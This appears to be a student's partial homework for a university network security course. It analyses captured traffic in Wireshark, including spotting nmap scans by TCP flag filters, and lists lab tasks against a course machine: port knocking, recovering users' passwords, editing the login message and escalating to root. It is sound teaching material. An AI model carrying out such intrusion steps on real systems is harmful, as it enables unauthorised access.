5. **Packet 678 includes an image. Extract the image and place it in your solutions. How many other such images are hidden in the http traffic?**
   1. View attached image
   2. By setting the filter in wireshark "image-gif or image-jfif" I was able to see all the images in the traffic, 22, as well as export the image as an object via wireshark.

1c - Harder questions

1. **What cartoon character's domain was** H attempting to access?
   1. Bart Simpson
   2. I was able to identify this by viewing the DNS requests to login to the twiki site and verify this by viewing the response and following the UDP connections to and from the twiki login. (Login with bar.simpson.com, simpson-bh, bart.simpson)
2. **What operating system was running on H?**
   1. Linux i686 - 32 bit OS rv: 5.0.1
   2. This was identified by looking at an HTTP GET request by H and viewing the details in the HTTP User-Agent Information
3. **What nmap scan did H run?**
   1. TCP SYN scan: This was identified by viewing the TCP traffic to a specific host and the traffic containing consecutive TCP attempts with the SYN flag to different ports by filtering for ip.proto = 6 and tcp.flags = 2
   2. Xmas Scan: Found by filtering for ip.proto == 6 and tcp.flags = 41
   3. TCP Connect Scan: Found by filtering for ip.proto = 6 and tcp.flags = 18
4. **How many other Ethernet addresses are on =H='s network?**
   1. The image below displays all the Ethernet addresses in the pcap traffic. With the first two being the network router and the ethernet address for H.

Problem 1 grade: (**GRADER ONLY**)

Comments:

Problem 2 [35 points] - Port knocking

2a.

To access the M, you need to send TCP packets with the SIN flag set to three different ports in a row, at which point the machine will open a port for you to connect. [(2)](https://algorithmics.bu.edu/fw/EC521/HomeworkTwo#FootNote2note)

1. What three port knocks open the connection?
2. On which port is M accepting connections?

2b.

The machine M has *another* port that can be opened with the right knock. [(3)](https://algorithmics.bu.edu/fw/EC521/HomeworkTwo#FootNote3note)

1. What is the port that is open with the new knock pattern?
2. What is user foo 's password?
3. What is user foo 's office's location?
4. What users have accounts on the machine?
5. What are the passwords of other users on the machine?

2c.

1. Add your name to the message-of-the-day that is displayed when users log onto M.
2. Escalate your privileges to root and prove it by providing the contents of /var/2.